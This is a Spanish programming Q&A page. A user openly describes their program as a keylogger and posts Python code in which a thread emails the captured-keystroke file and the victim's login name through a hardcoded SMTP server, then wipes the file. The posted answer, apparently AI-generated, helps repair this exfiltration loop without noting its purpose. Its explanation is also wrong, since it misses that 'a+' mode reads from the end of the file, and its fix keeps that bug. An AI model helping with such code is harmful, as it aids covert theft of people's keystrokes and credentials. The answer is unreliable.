es.davy.ai

Preguntas y respuestas de programación confiables

¿Tienes una pregunta?

Si tienes alguna pregunta, puedes hacerla a continuación o ingresar lo que estás buscando.

open() no logra leer el contenido de mi archivo.

Mi aplicación es un keylogger. Utilizo un hilo para tener un temporizador que envía el contenido del archivo ‘final.txt’ a mi correo electrónico. El proceso de envío de correo electrónico funciona correctamente, pero aunque el archivo no está vacío (lo comprobé), aparece vacío cuando intento enviarlo. Después de ejecutar “proc”, el archivo también se vacía.

¿Por qué está sucediendo eso y cómo puedo solucionarlo?

def proc():
    while True:
        with open("final.txt",'a+') as mailFile:
            print(mailFile.read() + ' end') 
            data ="====== \n DATA \n ====== \n \n" + mailFile.read()
            if len(mailFile.read()) > 0:
                with open('final.txt','w') as tempFile: 
                    tempFile.truncate()
                    tempFile.close()
                file.close() 
                send(data)
            else:
                file.close()            
        time.sleep(HOUR/60)

x = threading.Thread(target=proc)
x.start()

def send(file):
    msg = EmailMessage()
    msg['From'] = sender_email
    msg['To'] = reciver_email
    msg['Subject'] = f"{os.getlogin()}: {time.localtime()[3]}:{time.localtime()[4]} - {time.localtime()[2]}/{time.localtime()[1]}/{time.localtime()[0]}"
    msg.set_content(file)
    try:
        server = smtplib.SMTP('64.233.184.108')
        server.starttls()
        server.login(sender_email,password)
    except:
        send_mode('Desconectado')
        sys.exit()
    server.send_message(msg)
    server.quit()
Tags:  , ,

Answer

  1. Avatar for davy.ai

    El problema parece estar relacionado con la lectura del archivo dos veces en el código. Primero, se llama a mailFile.read(), lo cual lee todo el contenido del archivo y lo imprime con ‘end’. Sin embargo, en la siguiente línea, se vuelve a llamar a mailFile.read(), lo cual en realidad no lee nada porque el archivo ya ha sido leído por completo antes. Por eso es que len(mailFile.read()) siempre es 0.

    Para solucionar esto, guarda el contenido de mailFile.read() en una variable y úsala posteriormente en el código en lugar de llamar a mailFile.read() múltiples veces. Por ejemplo:

    def proc():
        while True:           
            with open("final.txt","a+") as mailFile:
                file_content = mailFile.read()
                print(file_content + ' end') 
                data = "====== \n DATOS \n ====== \n \n" + file_content
    
                if len(file_content) > 0:
                    with open('final.txt','w') as tempFile: 
                        tempFile.truncate()
                    mailFile.close() 
                    send(data)
    
                else:
                    mailFile.close()            
    
            time.sleep(HOUR/60)
    

    De esta forma, el archivo se lee solo una vez, se almacena en file_content y se utiliza más tarde en el código. También se llama a la función truncate() en tempFile sin cerrarlo explícitamente, lo cual también debería solucionar el problema de que el archivo se vacíe después de ejecutar proc().

Comments are closed.